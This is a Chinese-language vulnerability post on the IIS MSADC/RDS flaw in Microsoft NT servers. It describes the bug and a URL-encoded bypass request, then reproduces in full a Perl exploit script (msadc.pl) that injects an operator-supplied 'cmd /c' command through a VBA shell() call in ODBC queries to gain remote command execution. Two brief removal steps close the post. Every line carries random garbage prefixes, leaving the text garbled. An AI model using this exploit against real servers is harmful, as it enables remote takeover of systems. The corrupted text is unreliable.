IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
IaOR%Bg @T L|\T 涉及程序:
Qa:[iF Microsoft NT server
0k5 uqGLXe k$f2i,7' 描述:
(dyY@={q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F(lJ 9I<~t@q5e@ 详细:
}!Pty25j 如果你没有时间读详细内容的话,就删除:
umnQ$y
0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
kMLJa=]$ 有关的安全问题就没有了。
tEo-Mj5: n`w]? bL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Pe\Obd8d 2T?Y 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
T fIOS] 关于利用ODBC远程漏洞的描述,请参看:
[Pjitw/? v#s*I/kw http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z6B#F<h 5#X R1#` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
q7soV(P http://www.microsoft.com/security/bulletins/MS99-025faq.asp .$y'>O*$G BAvz @H 这里不再论述。
kQd|qZ=:w PP!-*~F0Jr 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
I#;dS!W"' zAklS 7L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
L{r 4hL [
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
%*Mr ^= :IJ<Mmb xz.M'az\ #将下面这段保存为txt文件,然后: "perl -x 文件名"
1+7_L`SB /|}yf/^9X #!perl
LCj3{>{/= #
.GNyADQp # MSADC/RDS 'usage' (aka exploit) script
nsVLgTbx #
[dFcxzM-N # by rain.forest.puppy
$%31Gk[I #
b.?;I7r
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
kF,ME5% # beta test and find errors!
EN/t5d IDos4nM27] use Socket; use Getopt::Std;
$$o( getopts("e:vd:h:XR", \%args);
q I~*G3 yoF*yUls^E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Jn|i! BgdUG:;&
if (!defined $args{h} && !defined $args{R}) {
kFmtE
dhsc print qq~
*
]bB7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
QZ;DZMP -h <host> = host you want to scan (ip or domain)
#l:
1R&F -d <seconds> = delay between calls, default 1 second
Piwox1T; -X = dump Index Server path table, if available
BV7P_!vt -v = verbose
X2%(=B -e = external dictionary file for step 5
W1)<!nwA .o C!~' Or a -R will resume a command session
YtWw)IK V'Kied+ ~; exit;}
ZPb30M0 q^zG+FN $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-D=Sj@G if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kRX?o'U~C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j}
^3v # if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M1#CB $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
hjFht+j1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@>~\So| C^B$_? if (!defined $args{R}){ $ret = &has_msadc;
+0Q +0: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kb/BEJ <BZC5b6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kMnG1K . "cmd /c ";
LJ@r+|> $in=<STDIN>; chomp $in;
|Z2"pV $command="cmd /c " . $in ;
#Cu$y8~as 1>L'F8" if (defined $args{R}) {&load; exit;}
#Y'b?&b h qjjd-S0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Y[}A4` &try_btcustmr;
* O?Yp%5NH CqZHs
9+e& print "\nStep 2: Trying to make our own DSN...";
i+~BVb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2?Jw0Wq5D tQNrDp+ print "\nStep 3: Trying known DSNs...";
C3f\E: D) &known_dsn;
9=T;Dxn w4TQ4
Y print "\nStep 4: Trying known .mdbs...";
xypgG;`\ &known_mdb;
NqOX);'L0 w <"mS*Q if (defined $args{e}){
&$_!S!Sa/ print "\nStep 5: Trying dictionary of DSN names...";
+By '6?22 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
dlCYdwP i}v.x print "Sorry Charley...maybe next time?\n";
C|3Xz[k{ exit;
ZxT
E(BQv J!5b~8`v ##############################################################################
.7b%7dQ<\ =4SXntU!e sub sendraw { # ripped and modded from whisker
9609 sleep($delay); # it's a DoS on the server! At least on mine...
=*lBJ-L my ($pstr)=@_;
CyYr5 Dz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$HQ4 o\~ die("Socket problems\n");
Ny/eYF# if(connect(S,pack "SnA4x8",2,80,$target)){
J+
S]Qoz select(S); $|=1;
rQ]JM print $pstr; my @in=<S>;
u)o-H!a select(STDOUT); close(S);
QQV8Vlv" return @in;
,3f>-mP
} else { die("Can't connect...\n"); }}
a*.#Zgy:lK :0 n+RL*5 ##############################################################################
\6?a zixG}' sub make_header { # make the HTTP request
KT<$E!@ my $msadc=<<EOT
h{ix$Xn~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
nC%qdzT User-Agent: ACTIVEDATA
C<(oaeQY Host: $ip
Fih
pp< Content-Length: $clen
wW)(mY? Connection: Keep-Alive
+M_ _\7 4E=v)C' ADCClientVersion:01.06
L{8_6s(: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
LOfw
#+]d Rky]F+J --!ADM!ROX!YOUR!WORLD!
V8B4e4F Content-Type: application/x-varg
d*gv.mE Content-Length: $reqlen
<n#X~}i) -wg}X-'z0 EOT
-XV+F@`Md ; $msadc=~s/\n/\r\n/g;
C&vi7Yx return $msadc;}
YkB@fTTS 1eshuL ##############################################################################
KHHYk>FR ;xzaW4(3 sub make_req { # make the RDS request
xt,Qn460; my ($switch, $p1, $p2)=@_;
-mRgB"8 my $req=""; my $t1, $t2, $query, $dsn;
VlA]A,P}i ;zD4#7= if ($switch==1){ # this is the btcustmr.mdb query
}a~hd*-# $query="Select * from Customers where City=" . make_shell();
Q#H"Se $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
w 0= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
23L>)Q jLVD37 P^ elsif ($switch==2){ # this is general make table query
=%IyR $query="create table AZZ (B int, C varchar(10))";
^&1O:G*" $dsn="$p1";}
|H_WY# !vR Zh('R elsif ($switch==3){ # this is general exploit table query
b- t $query="select * from AZZ where C=" . make_shell();
f?k0(rl $dsn="$p1";}
h L [ eA -2J37 elsif ($switch==4){ # attempt to hork file info from index server
0g|5s $query="select path from scope()";
vZTXvdF $dsn="Provider=MSIDXS;";}
Z*mbhod
&Q?@VNi elsif ($switch==5){ # bad query
U6@c)_* < $query="select";
Hh=fv~X $dsn="$p1";}
|> ]@w\] +c<iVc| $t1= make_unicode($query);
r \ft{Z<P $t2= make_unicode($dsn);
%wOkp`1- $req = "\x02\x00\x03\x00";
HFy9b|pjy $req.= "\x08\x00" . pack ("S1", length($t1));
1r$-U h $req.= "\x00\x00" . $t1 ;
,jis@]: $req.= "\x08\x00" . pack ("S1", length($t2));
wT": $req.= "\x00\x00" . $t2 ;
]Rxo}A $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X=]utn return $req;}
9N9&y^SmD fuUtM_11 ##############################################################################
IV. })8 #c@&mus sub make_shell { # this makes the shell() statement
9_:"`)]3B return "'|shell(\"$command\")|'";}
r@zT!.sc! #vV]nI<MF. ##############################################################################
_(h=@cv A[;deHg= sub make_unicode { # quick little function to convert to unicode
5qQMGN$K my ($in)=@_; my $out;
vQi=13Pw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
N?vb^? return $out;}
5<ruN11G YQG
l8E' ##############################################################################
Y#68_%[ klm>/MXI` sub rdo_success { # checks for RDO return success (this is kludge)
>bZ-mX)j\0 my (@in) = @_; my $base=content_start(@in);
?}s;,_GH if($in[$base]=~/multipart\/mixed/){
MBA?, |9Q# return 1 if( $in[$base+10]=~/^\x09\x00/ );}
o(jLirnk return 0;}
ZJBb%d1; z&d.YO_W ##############################################################################
iVZ}+Ct<" CipDeqau2 sub make_dsn { # this makes a DSN for us
t7F0[E'=5\ my @drives=("c","d","e","f");
23^>#b7st print "\nMaking DSN: ";
U; oXX foreach $drive (@drives) {
~bb6NP;'L print "$drive: ";
Q+
V<& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u)r/#fUZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
BkXv4|UE . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
xNOKa* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.i4aM;Qy return 0 if $2 eq "404"; # not found/doesn't exist
iXnXZ|M if($2 eq "200") {
*GE6zGdN foreach $line (@results) {
!s=$UC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
gE\ ^ vaB } return 0;}
'1b 1N5~ C][hH?. ##############################################################################
L4/ns@e bOr11? sub verify_exists {
a`w=0]1&* my ($page)=@_;
6J,h}S my @results=sendraw("GET $page HTTP/1.0\n\n");
apa&'%7 return $results[0];}
:Pdh##k <7J3tn B ##############################################################################
2w7$"N WkA47+DsV sub try_btcustmr {
(t@)`N{ my @drives=("c","d","e","f");
wz:e\ ! my @dirs=("winnt","winnt35","winnt351","win","windows");
9t\14tVwx o-RZwufZ` foreach $dir (@dirs) {
"t4z)j; print "$dir -> "; # fun status so you can see progress
Cst1nGPL foreach $drive (@drives) {
|cY HH$ print "$drive: "; # ditto
%;:![?M
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
.2JZ7 $reqlenlen=length( "$reqlen" );
"H(3pl. $clen= 206 + $reqlenlen + $reqlen;
cDz@3So.b n?r8ZDJ' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.euAN8L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@9 S :: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*J[P#y vm+3!s:u ##############################################################################
Z .gb' EWDsBNZaI sub odbc_error {
Vp]7n!g4l my (@in)=@_; my $base;
+-'F]?DN' my $base = content_start(@in);
<h/q^| tZ{ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
M{24MF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g.9C>>tj $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h8UhrD<: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u/j\pDl. return $in[$base+4].$in[$base+5].$in[$base+6];}
Hu<]*(lK% print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+j<WP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
PxrT@.T$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.Bl:hk\ Zb1GR5MB`k ##############################################################################
EX{%CPp7} qA7,txQ: sub verbose {
L%v@|COQ3 my ($in)=@_;
y{mt *VA4 return if !$verbose;
e x Z/ print STDOUT "\n$in\n";}
&qXobJRM =H;n$ -P ##############################################################################
]"V_`i7Z cN&Ebn sub save {
G>vK$W$f N my ($p1, $p2, $p3, $p4)=@_;
E6~VHQa2? open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}~@/r5Zl print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Lf%3-P close OUT;}
&{8:XJe*,% a%`Yz"<lQ ##############################################################################
$jh$nMx)! ^ou)c/68aQ sub load {
9)tb= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_\+]/rY9o open(IN,"<rds.save") || die("Couldn't open rds.save\n");
|k6+-
1~_ @p=<IN>; close(IN);
N/0aO^"V $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J8Wits]A]$ $target= inet_aton($ip) || die("inet_aton problems");
[ x{$f7CEh print "Resuming to $ip ...";
SV t~pE+Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
1<m`38' if($p[1]==1) {
L-?ty@-i $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
x*z[(0g! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+C!GV.q[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QYo04`Rl if (rdo_success(@results)){print "Success!\n";}
WZ?>F else { print "failed\n"; verbose(odbc_error(@results));}}
}TMO>eB' elsif ($p[1]==3){
N@PwC( if(run_query("$p[3]")){
K9xvog print "Success!\n";} else { print "failed\n"; }}
#>aq'47j elsif ($p[1]==4){
0a:oC(Ak
if(run_query($drvst . "$p[3]")){
`:3nF' print "Success!\n"; } else { print "failed\n"; }}
?X|q exit;}
{ax]t-ZwJ5 Rf4K Rhi ##############################################################################
Fvk=6$d2 _$$.5?4 sub create_table {
^)]U5+g? my ($in)=@_;
F,S)P`? $reqlen=length( make_req(2,$in,"") ) - 28;
u=nd7:bv $reqlenlen=length( "$reqlen" );
}@6Ze$> $clen= 206 + $reqlenlen + $reqlen;
QD%xmP my @results=sendraw(make_header() . make_req(2,$in,""));
4$VDJ return 1 if rdo_success(@results);
*D%w r'!> my $temp= odbc_error(@results); verbose($temp);
9cB+x`+Lu return 1 if $temp=~/Table 'AZZ' already exists/;
)I*(yUj return 0;}
Ld.9.d] nQV0I"f]?] ##############################################################################
$#f_p-N u4FD}nV sub known_dsn {
6ZE`'pk< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=At" Q6-O my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%R?7u'=~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3\}u#/Vb "banner", "banners", "ads", "ADCDemo", "ADCTest");
)lLeL#]FLO P x Q] $w foreach $dSn (@dsns) {
!aUYidd print ".";
O'98OH+u next if (!is_access("DSN=$dSn"));
>D u=(pB if(create_table("DSN=$dSn")){
|
U0s1f print "$dSn successful\n";
K!\v?WbF if(run_query("DSN=$dSn")){
FW8Zpr!u print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8?LT*>! print "Something's borked. Use verbose next time\n";}}} print "\n";}
2Pm}wD^` 5B)&;[ ##############################################################################
39O rY 3 orZBT sub is_access {
I]d-WTd my ($in)=@_;
!{+CzUo@ $reqlen=length( make_req(5,$in,"") ) - 28;
'MW%\W; $reqlenlen=length( "$reqlen" );
M *w{PjU $clen= 206 + $reqlenlen + $reqlen;
( gg )? my @results=sendraw(make_header() . make_req(5,$in,""));
AJB
NM my $temp= odbc_error(@results);
giu{,gS0?M verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E`_T_O=P return 0;}
?l%4
P5 4F.,Y3 ##############################################################################
P`@Rt bu6Sp3g sub run_query {
A{;"e^a-^l my ($in)=@_;
jC[_uG $reqlen=length( make_req(3,$in,"") ) - 28;
Q(-&}cY $reqlenlen=length( "$reqlen" );
8>WA5:]v $clen= 206 + $reqlenlen + $reqlen;
cdkEK my @results=sendraw(make_header() . make_req(3,$in,""));
&o x return 1 if rdo_success(@results);
yfV]f
LZ my $temp= odbc_error(@results); verbose($temp);
V/H+9+B7Im return 0;}
2F*>&n&Db7 'dBe,@ ##############################################################################
^cw9Yjh6 Ojz'p5d`> sub known_mdb {
3m75mny my @drives=("c","d","e","f","g");
Nzgi)xX0HX my @dirs=("winnt","winnt35","winnt351","win","windows");
v\|jkzR5Y my $dir, $drive, $mdb;
`w#VYs|k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nxV!mh_ \{ | GK # this is sparse, because I don't know of many
0<v5_pB my @sysmdbs=( "\\catroot\\icatalog.mdb",
PP$2s]{ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
.n8O 3V "\\system32\\certmdb.mdb",
+&)/dHbL`] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
#z >I =gl ?&9=f\/P my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
*K_8=TIA* "\\cfusion\\cfapps\\forums\\forums_.mdb",
0IqGy}+VU "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
M`K]g&57hL "\\cfusion\\cfapps\\security\\realm_.mdb",
mW!n%f "\\cfusion\\cfapps\\security\\data\\realm.mdb",
<eMqg u "\\cfusion\\database\\cfexamples.mdb",
&,<,!j)Jr "\\cfusion\\database\\cfsnippets.mdb",
RiAg: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rfVQX<95=/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
s9"X.-! "\\cfusion\\brighttiger\\database\\cleam.mdb",
.gfi9J "\\cfusion\\database\\smpolicy.mdb",
)nf%S+KV "\\cfusion\\database\cypress.mdb",
gmH`XKi\ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|Q)mBvvN "\\website\\cgi-win\\dbsample.mdb",
*#>(P "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
pLe4dz WA "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D~ 3@v+d ); #these are just
eE'>kP} foreach $drive (@drives) {
x[};x;[ZE foreach $dir (@dirs){
4+>yL+sC%v foreach $mdb (@sysmdbs) {
bP-(N14x+ print ".";
b-8@_@f|g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{+#{Cha print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i|z=WnF$& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
&)6}.$`
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@&m]:GR } else { print "Something's borked. Use verbose next time\n"; }}}}}
m-4#s 'lE{Nj*7 foreach $drive (@drives) {
?jfh'mCA foreach $mdb (@mdbs) {
8hS^8 print ".";
J \|~k2~ if(create_table($drv . $drive . $dir . $mdb)){
KRlJKd{ print "\n" . $drive . $dir . $mdb . " successful\n";
X7OU=+g if(run_query($drv . $drive . $dir . $mdb)){
#2i$:c~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
QyL]-zNg } else { print "Something's borked. Use verbose next time\n"; }}}}
vkJyD/;= }
N KgEs kM4z
% ##############################################################################
e@VJ-s X=-= z5 sub hork_idx {
2~/`L=L print "\nAttempting to dump Index Server tables...\n";
XdDQ$'*X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
SujEF`" $reqlen=length( make_req(4,"","") ) - 28;
CC!`fX6z>h $reqlenlen=length( "$reqlen" );
Pi=FnS $clen= 206 + $reqlenlen + $reqlen;
aWimg6q my @results=sendraw2(make_header() . make_req(4,"",""));
|-vyhr0 if (rdo_success(@results)){
'fK=;mM my $max=@results; my $c; my %d;
1J1Jp|j. for($c=19; $c<$max; $c++){
*A!M0TK?i, $results[$c]=~s/\x00//g;
A4(L47^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
XM!oN^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"Cxj_V@\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
i7T#WfF $d{"$1$2"}="";}
}2 S!;swg+ foreach $c (keys %d){ print "$c\n"; }
6!0NFP~b } else {print "Index server doesn't seem to be installed.\n"; }}
_YR#J%xa eD7\ ,}O ##############################################################################
KL?<lp" YIW9z{rrs sub dsn_dict {
X sJ`x open(IN, "<$args{e}") || die("Can't open external dictionary\n");
d(t)8k$ while(<IN>){
Y_faqmZ9] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
pW8?EGO@ next if (!is_access("DSN=$dSn"));
-SD:G]un
if(create_table("DSN=$dSn")){
jA?[*HB print "$dSn successful\n";
}Y.@:v
j if(run_query("DSN=$dSn")){
5YPIv- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:|k!hG print "Something's borked. Use verbose next time\n";}}}
+7OE,RoQ print "\n"; close(IN);}
W:n\,P ;Co"bP's ##############################################################################
)?&mCI* <5KoK!H sub sendraw2 { # ripped and modded from whisker
VJK4C8] sleep($delay); # it's a DoS on the server! At least on mine...
h{-en50tN my ($pstr)=@_;
} %0w25 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hU( die("Socket problems\n");
NM9ViYm>P if(connect(S,pack "SnA4x8",2,80,$target)){
Rq| 5%;1 print "Connected. Getting data";
RgFpc*.T open(OUT,">raw.out"); my @in;
M6cybEk` select(S); $|=1; print $pstr;
n5xG4.#G while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
anz7ae&P'K close(OUT); select(STDOUT); close(S); return @in;
pHVDug3 } else { die("Can't connect...\n"); }}
/oe0 @.cord` ##############################################################################
6C.!+km P[H`]q| sub content_start { # this will take in the server headers
nUONI+6Z/ my (@in)=@_; my $c;
Rq(+zL(f for ($c=1;$c<500;$c++) {
mhIGunK;+ if($in[$c] =~/^\x0d\x0a/){
zB y%$5~Fw if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u]B
b ^[ else { return $c+1; }}}
L
~Vw`C return -1;} # it should never get here actually
nq7)0F%e >/.jB/q ##############################################################################
/:A239=+ ? D.AiqO<z sub funky {
wMF1HT<* my (@in)=@_; my $error=odbc_error(@in);
2\$<&]q if($error=~/ADO could not find the specified provider/){
}1CO>a< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
hHw1<! M exit;}
8_>:0(y if($error=~/A Handler is required/){
;/m>c{ print "\nServer has custom handler filters (they most likely are patched)\n";
WR.7%U'; exit;}
Zq1> M'V; if($error=~/specified Handler has denied Access/){
UBM8l print "\nServer has custom handler filters (they most likely are patched)\n";
.O~rAu*K exit;}}
b,HXD~= ,t1s#*j\!q ##############################################################################
3S^Qo9S YA8/TFu<_ sub has_msadc {
Tz&cm= my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
BI#(L={5 my $base=content_start(@results);
jvd3_L-@E< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0~<t :q! return 0;}
VasQ/ cv_O2Q4,@ ########################
cP/( h ioTqT:. <0`"vPU 解决方案:
QQHC
1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
e!i.u'z 2、移除web 目录: /msadc